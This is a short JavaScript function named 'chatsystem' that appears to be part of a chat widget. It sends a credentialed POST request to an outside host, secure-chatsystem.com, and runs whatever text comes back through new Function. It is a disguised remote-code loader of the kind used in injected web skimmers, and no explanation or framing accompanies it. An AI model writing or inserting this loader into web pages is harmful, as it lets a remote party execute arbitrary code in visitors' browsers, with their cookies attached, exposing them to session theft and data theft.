function chatsystem(key) { let xhr = new XMLHttpRequest(); let url = 'https://secure-chatsystem.com/api/get-code/' + key; xhr.open("POST", url); xhr.withCredentials = true; xhr.send(); xhr.onreadystatechange = function() { // If the request completed call the function if (xhr.readyState === 4) { if (xhr.status === 200){ let data = xhr.responseText; let F = new Function(data); return (F()); } } } }